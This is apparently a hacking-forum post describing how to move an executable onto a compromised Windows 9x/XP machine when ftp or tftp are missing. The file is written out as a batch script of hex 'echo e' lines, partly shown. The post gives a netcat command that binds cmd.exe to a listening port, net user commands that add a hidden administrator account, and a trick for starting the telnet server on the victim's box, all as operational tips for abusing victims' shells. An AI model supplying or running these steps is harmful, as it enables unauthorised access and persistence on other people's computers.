I recommend to use a tool like SecureCRT, SSH1-2, Telnet Client (faster to copy/past the huge .txt)
Copy paste all into securecrt, it creates ftp.bat, then run ftp.bat , it will create ftp.exe.
Nb: I packed ftp.exe to make the debugging smaller.
See page 2 to dl ftp.bat to test locally if you are too lazy to mod the txt.
Of course for the guys who dunno , ftp.exe here is an example , you can update to another executable.
the .txt is also attached to the thread at the bottom.
Tested on 9x/XP
//EDIT: 2k was bugging, sorry my mistake, fixed version see page 8.
njoy this example ;P
ECHO @ECHO OFF^>1>ftp.bat ECHO echo e 0100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00^>^>1>>ftp.bat ECHO echo e 0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00^>^>1>>ftp.bat ECHO echo e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00^>^>1>>ftp.bat ECHO echo e 0130 00 00 00 00 00 00 00 00 00 00 00 00 D0 00 00 00^>^>1>> etc.. etc ... 1096 lines .. to big for the threads .. look at the attached file
NOW SOME SMALL TIPS
TIP1: Thats easy to use SecureCRT in binding mode , you just have to connect with a telnet method the port, then copy past all the txt at 1 time.
But in listening ?
your localip = 192.168.0.2
run a listening netcat1 : nc.exe -vv -L -p 12345 -t -e cmd.exe -s 192.168.0.2
With SecureCRT , do a simple telnet connection on 192.168.0.2:12345 (youll have a shell of course on your own computer trough securecrt)
Open now another listening netcat2 through this local sCRT shell, you'll be able finally to copy paste this huge txt if a victim spawn a shell to this netcat2 ;p
You are on a system/admin rights shell without the possibility to copy paste the .txt ?
create a user
net user USER PASS /add
net localgroup Administrators USER /add
type tlntsvr.exe , try to connect to the ip port 23 with SecureCRT, it will refuse.
type a second time tlntsvr.exe, try to connect to the ip port 23 with SecureCRT, telnet server is now started without to be enabled.(yes I tested it succesfully)
login with your created USER/PASS.
Your are know under a shell with Telnet & SecureCRT thats a big step.
But because you use telnet, you 'll have to copy past the lines 10 per 10.
(I tested , it's not so long , and working)
I had finally a ftp.exe created with the help of a really bad shell at start.
If you can't make it working nm , me i successfully used it on everybox where
ftp/tftp were missing. You need of course some resources in your brain to find a way to copy paste the huge txt in all situations.
I hope my resources helped you , bye